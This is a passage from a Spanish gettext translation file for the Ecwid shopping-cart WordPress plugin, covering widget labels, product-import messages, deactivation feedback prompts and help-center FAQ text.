msgstr "«Widget» del carrito de compras" #. Author URI of the plugin msgid "https://ecwid.to/ecwid-site" msgstr "https://ecwid.to/ecwid-site" #: templates/product-popup.php:247 msgid "selected product" msgstr "producto seleccionado" #: templates/product-popup.php:138 templates/product-popup.php:143 msgid "Selected Product" msgstr "Producto seleccionado" #: templates/product-popup.php:124 msgid " Choose another product" msgstr " Elegir otro producto" #: templates/importer/landing.tpl.php:20 msgid "Import your WooCommerce catalog to %s" msgstr "Importe su catálogo de WooCommerce a %s" #: includes/widgets/nsf-minicart-editor.tpl.php:35 msgid "Border:" msgstr "Borde:" #: includes/widgets/nsf-minicart-editor.tpl.php:19 msgid "Cart icon:" msgstr "Icono del carrito:" #: includes/widgets/nsf-minicart-editor.tpl.php:3 msgid "Layout:" msgstr "Diseño:" #: includes/class-ecwid-floating-minicart.php:145 msgid "No border" msgstr "Sin borde" #: includes/class-ecwid-floating-minicart.php:144 msgid "Pill" msgstr "Píldora" #: includes/class-ecwid-floating-minicart.php:143 msgid "Rectangle" msgstr "Rectángulo" #: includes/class-ecwid-floating-minicart.php:136 msgid "Basket" msgstr "Cesta" #: includes/class-ecwid-floating-minicart.php:134 msgid "Bag" msgstr "Bolsa" #: includes/class-ecwid-floating-minicart.php:127 msgid "Icon, label, item count, subtotal and link" msgstr "Icono, etiqueta, total de artículos, subtotal y enlace" #: includes/class-ecwid-floating-minicart.php:126 msgid "Icon, label, item count and subtotal" msgstr "Icono, etiqueta, total de artículos y subtotal" #: includes/class-ecwid-floating-minicart.php:125 msgid "Icon, label and item count" msgstr "Icono, etiqueta y total de artículos" #: includes/class-ecwid-floating-minicart.php:124 msgid "Icon and item count" msgstr "Icono y total de artículos" #: includes/class-ecwid-floating-minicart.php:123 msgid "Label and item count" msgstr "Etiqueta y y total de artículos" #: includes/class-ecwid-floating-minicart.php:122 msgid "Item count only" msgstr "Solo el total de artículos" #: includes/class-ecwid-floating-minicart.php:121 msgid "Small icon and item count" msgstr "Icono pequeño y total de artículos" #: includes/class-ecwid-floating-minicart.php:120 msgid "Small icon" msgstr "Icono pequeño" #: includes/widgets/class-ecwid-widget-minicart.php:9 msgid "Shopping Cart (deprecated)" msgstr "Carrito de compras (descontinuado)" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:9 msgid "Shopping Cart Mini (deprecated)" msgstr "Carrito de compras en miniatura (descontinuado)" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:21 msgid "Shopping Cart Floating (deprecated)" msgstr "Carrito de compras flotante (descontinuado)" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:69 msgid "Displays storefront: product listing and checkout" msgstr "Muestra el escaparate virtual: listado de productos y pago" #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:67 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:70 msgctxt "vc-tab" msgid "Online store" msgstr "Tienda en línea" #: includes/integrations/class-ecwid-integration-gutenberg.php:105 #: includes/gutenberg/class-ecwid-gutenberg.php:131 msgid "Your product" msgstr "Su producto" #: templates/shortcode-stub-store.tpl.php:18 #: includes/integrations/class-ecwid-integration-gutenberg.php:103 #: includes/widgets/class-ecwid-widget-product-browser.php:11 #: includes/gutenberg/class-ecwid-gutenberg.php:129 msgid "Your store will be shown here" msgstr "Su tienda se mostrará aquí" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:31 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:101 #: includes/integrations/class-ecwid-integration-gutenberg.php:101 #: includes/gutenberg/class-ecwid-gutenberg.php:127 #: js/gutenberg/blocks.build.js:1 msgid "Choose product" msgstr "Elegir producto" #: includes/integrations/class-ecwid-integration-gutenberg.php:97 #: includes/gutenberg/class-ecwid-gutenberg.php:123 msgid "%s product" msgstr "%s producto" #: templates/wp-toolbox.tpl.php:4 msgid "Take advantage of powerful apps and extensions designed to enhance your store." msgstr "Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda." #: templates/wp-toolbox.tpl.php:3 msgid "Extensions for your Store" msgstr "Extensiones para su tienda" #: templates/importer/woo-summary.tpl.php:6 msgid "Import summary" msgstr "Resumen de la importación" #: templates/importer/woo-main.tpl.php:19 msgid "This import will copy your WooCommerce products and categories to your %s store." msgstr "Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s." #: templates/importer/woo-main.tpl.php:62 msgid "Importing %s of %s items" msgstr "Importando %s de %s artículos" #: templates/importer/woo-complete-alert.tpl.php:27 msgid "Some of the items could not be imported." msgstr "Algunos de los artículos no se pudieron importar." #: templates/importer/landing.tpl.php:33 msgid "Learn more" msgstr "Más información" #: templates/importer/landing.tpl.php:33 msgid "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" msgstr "https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products" #: templates/importer/landing.tpl.php:31 msgid "Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center" msgstr "Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid" #: templates/importer/landing.tpl.php:29 msgid "Import product catalog from other sources" msgstr "Importar el catálogo de productos de otras fuentes" #: templates/importer/landing.tpl.php:23 msgid "(You will be able to confirm the changes before the actual import)" msgstr "(podrá confirmar los cambios antes de la importación definitiva)" #: templates/importer/landing.tpl.php:12 msgid "We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?" msgstr "Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?" #: templates/importer/landing.tpl.php:9 msgid "Import product catalog from WooCommerce" msgstr "Importar el catálogo de productos de WooCommerce" #: templates/importer/landing.tpl.php:4 msgid "Here, we will help you uploading your product catalog to %s from another shopping cart or other sources." msgstr "Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes." #: templates/importer/landing.tpl.php:1 msgid "Import products to your %s store" msgstr "Importe los productos a su tienda de %s" #: templates/dashboard-blog-posts.tpl.php:20 msgid "Knowledge Base" msgstr "Base de conocimiento" #: templates/dashboard-blog-posts.tpl.php:19 msgid "https://support.ecwid.com/hc/en-us" msgstr "https://support.ecwid.com/hc/en-us" #: templates/dashboard-blog-posts.tpl.php:14 msgid "https://www.ecwid.com/blog" msgstr "https://www.ecwid.com/blog" #: includes/importer/class-ecwid-import.php:39 msgid "Bulk import products and categories to your %s store" msgstr "Importar en masa productos y categorías a su tienda de %s" #: includes/importer/class-ecwid-import.php:38 msgid "%s products and categories" msgstr "%s productos y categorías" #: templates/importer/woo-main.tpl.php:36 #: includes/importer/class-ecwid-import-page.php:52 #: includes/importer/class-ecwid-import-page.php:53 msgid "Import your products from WooCommerce to %s" msgstr "Importe sus productos de WooCommerce a %s" #: includes/importer/class-ecwid-import-page.php:42 #: includes/importer/class-ecwid-import-page.php:43 msgid "Import" msgstr "Importar" #: templates/dashboard-blog-posts.tpl.php:15 #: includes/class-ecwid-wp-dashboard-feed.php:48 msgid "%s Blog" msgstr "Blog de %s" #: includes/class-ecwid-message-manager.php:345 msgid "No Thanks" msgstr "No, gracias" #: includes/class-ecwid-message-manager.php:343 msgid "Import my products from WooCommerce" msgstr "Importar mis productos de WooCommerce" #: includes/class-ecwid-message-manager.php:341 msgid "We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you." msgstr "Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará." #: includes/class-ecwid-message-manager.php:340 msgid "Need help importing your products from WooCommerce to %s?" msgstr "¿Necesita ayuda para importar sus productos de WooCommerce a %s?" #: includes/class-ecwid-admin.php:213 includes/class-ecwid-admin.php:214 msgid "Customers" msgstr "Clientes" #: templates/help.php:28 msgid "or <a %s>Browse the Help Center" msgstr "o <a %s>consulte el centro de asistencia" #: templates/admin/welcome-connection-message.php:5 msgid "To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission." msgstr "Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso." #: includes/faq_entries.php:40 msgid "Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target=\"_blank\" href=\"%s\">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans." msgstr "Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target=\"_blank\" href=\"%s\">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales." #: includes/class-ecwid-popup-deactivate.php:59 msgid "[%s] WordPress plugin deactivation feedback (store ID: %s)" msgstr "[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)" #: includes/class-ecwid-message-manager.php:289 msgid "Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data." msgstr "Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda." #: includes/class-ecwid-message-manager.php:288 msgid "Action required: please connect your %s account" msgstr "Acción requerida: conecte su cuenta de %s" #: templates/popup/deactivate.php:24 msgid "Contact Support" msgstr "Ponerse en contacto con la asistencia" #: templates/popup/deactivate.php:1 msgid "If you have a moment, please let us know why you are deactivating:" msgstr "Si tiene un momento, háganos saber por qué está desactivando:" #: templates/admin/welcome-create.php:4 msgid "Create Store" msgstr "Crear tienda" #: templates/advanced-settings.php:1 msgid "%s — Advanced settings" msgstr "%s — Configuración avanzada" #: includes/widgets/class-ecwid-widget-random-products.php:10 msgid "Displays a list of random products." msgstr "Muestra una lista de productos aleatorios." #: includes/widgets/class-ecwid-widget-random-products.php:9 msgid "Random Products" msgstr "Productos aleatorios" #: includes/widgets/class-ecwid-widget-random-product.php:9 #: includes/widgets/class-ecwid-widget-random-product.php:64 msgid "Random Product" msgstr "Producto aleatorio" #: includes/widgets/class-ecwid-widget-random-product.php:8 msgid "Displays a random product from your store to attract customer attention." msgstr "Muestra un producto aleatorio de su tienda para atraer la atención del cliente." #: includes/widgets/class-ecwid-widget-latest-products.php:10 msgid "Displays the latest added products from your store. Show new products to returning customers to drive repeat sales." msgstr "Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas." #: includes/widgets/class-ecwid-widget-latest-products.php:9 msgid "Latest Products" msgstr "Últimos productos" #: includes/class-ecwid-popup-deactivate.php:164 msgid "Can you share your feedback? What was wrong?" msgstr "¿Podría compartir su opinión? ¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:161 msgid "Other" msgstr "Otro" #: includes/class-ecwid-popup-deactivate.php:155 msgid "It's a temporary deactivation. Please do not ask me again." msgstr "Es una desactivación temporal. No preguntarme de nuevo." #: includes/class-ecwid-popup-deactivate.php:152 msgid "Can you share the name of the plugin you chose?" msgstr "¿Podría compartir el nombre del complemento que ha elegido?" #: includes/class-ecwid-popup-deactivate.php:149 msgid "I found a better plugin" msgstr "Encontré un mejor complemento" #: includes/class-ecwid-popup-deactivate.php:146 msgid "What feature do you need?" msgstr "¿Qué función necesita?" #: includes/class-ecwid-popup-deactivate.php:143 msgid "The plugin doesn't support the feature I want" msgstr "El complemento no es compatible con la función que quiero" #: includes/class-ecwid-popup-deactivate.php:128 msgid "What was wrong?" msgstr "¿Qué fue lo que pasó?" #: includes/class-ecwid-popup-deactivate.php:125 msgid "I have a problem using this plugin" msgstr "Tengo un problema con el uso de este complemento" #: includes/class-ecwid-popup-deactivate.php:112 msgid "Before You Go" msgstr "Antes de que se vaya" #: templates/admin/storefront/area-navigation.php:79 #: includes/class-ecwid-popup-deactivate.php:105 msgid "Cancel" msgstr "Cancelar" #: includes/class-ecwid-popup-deactivate.php:101 msgid "Submit & Deactivate" msgstr "Enviar y desactivar" #: includes/class-ecwid-message-manager.php:244 #: includes/class-ecwid-store-page.php:568 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:51 #: ecwid-shopping-cart.php:1082 js/gutenberg/blocks.build.js:1 msgid "Set up your store" msgstr "Configure su tienda" #: templates/admin-head.php:8 includes/class-ecwid-admin.php:48 #: includes/integrations/class-ecwid-integration-gutenberg.php:45 #: includes/gutenberg/class-ecwid-gutenberg.php:69 msgid "%s" msgstr "%s" #: templates/product-popup.php:199 js/gutenberg/blocks.build.js:1 msgid "«Buy now» button" msgstr "Botón de «Comprar ahora»" #: templates/admin/simple-dashboard.php:10 msgid "%s Shopping Cart" msgstr "Carrito de compras de %s" #: templates/advanced-settings.php:42 msgid "Please subscribe to a paid plan to get this feature." msgstr "Suscríbase a un plan de pago para obtener esta función." #: templates/admin-footer.php:9 msgid "Get %s mobile app" msgstr "Descargue la aplicación móvil de %s" #: includes/class-ecwid-message-manager.php:272 msgid "Rate %s at WordPress.org" msgstr "Tasa de %s en WordPress.org" #: includes/class-ecwid-message-manager.php:268 msgid "Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site." msgstr "¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress." #: includes/class-ecwid-message-manager.php:260 msgid "To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración." #: templates/sync.php:114 msgid "Provide access." msgstr "Otorgar acceso." #: templates/sync.php:113 msgid "To enable this feature, the plugin needs a permission to read your store product information." msgstr "Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda." #: templates/product-popup.php:137 templates/product-popup.php:147 msgid "Choose Product" msgstr "Elegir producto" #: templates/product-popup.php:96 msgid "Try another search." msgstr "Intente otra búsqueda." #: templates/sync.php:152 msgid "Not synchronized yet" msgstr "No se ha sincronizado todavía" #: templates/sync.php:149 msgid "Last update" msgstr "Última actualización" #: templates/sync.php:145 msgid "Products are successfully synchronized. The product pages are up to date." msgstr "Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas." #: templates/sync.php:138 msgid "Products synchronized: %1$s out of %2$s" msgstr "Productos eliminados sincronizados: %1$s de %2$s" #: templates/sync.php:126 msgid "We're synchronizing your products. This may take a few minutes. Please do not reload the page." msgstr "Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página." #: templates/sync.php:119 msgid "Synchronize products" msgstr "Sincronizar productos" #: templates/advanced-settings.php:83 msgid "%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site." msgstr "%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web." #: templates/product-popup.php:243 msgid "Insert" msgstr "Insertar" #: templates/product-popup.php:242 msgid "select product" msgstr "seleccionar producto" #: templates/product-popup.php:241 templates/product-popup.php:246 msgid "customize appearance" msgstr "personalizar apariencia" #: templates/product-popup.php:224 msgid "Show price inside the \"Buy now\" button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: templates/product-popup.php:229 #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:62 #: js/gutenberg/blocks.build.js:1 msgid "Center align on a page" msgstr "Centrar la alineación en una página" #: templates/product-popup.php:219 js/gutenberg/blocks.build.js:1 msgid "Add border" msgstr "Añadir borde" #: templates/product-popup.php:188 js/gutenberg/blocks.build.js:1 msgid "Quantity" msgstr "Cantidad" #: templates/product-popup.php:178 js/gutenberg/blocks.build.js:1 msgid "Options" msgstr "Opciones" #: templates/product-popup.php:173 js/gutenberg/blocks.build.js:1 msgid "Picture" msgstr "Imagen" #: templates/product-popup.php:163 msgid "Choose product properties to display in widget" msgstr "Elija las propiedades del producto para mostrarlas en el «widget»" #: templates/product-popup.php:139 templates/product-popup.php:151 msgid "Customize widget" msgstr "Personalizar «widget»" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "Explorar todos los productos." #: templates/product-popup.php:94 msgid "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "No se ha encontrado nada en relación con <span class=\"empty-page__term\">«{{ data.term }}»</span>" #: templates/product-popup.php:80 msgid "Next page" msgstr "Página siguiente" #: templates/product-popup.php:69 msgid "Current Page" msgstr "Página actual" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "Título o REF" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "Buscar" #: templates/product-popup.php:29 msgid "SKU" msgstr "REF" #: templates/product-popup.php:23 msgid "Name" msgstr "Nombre" #: includes/class-ecwid-product-popup.php:150 msgid "Last Page" msgstr "Última página" #: includes/class-ecwid-product-popup.php:149 msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr "Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" 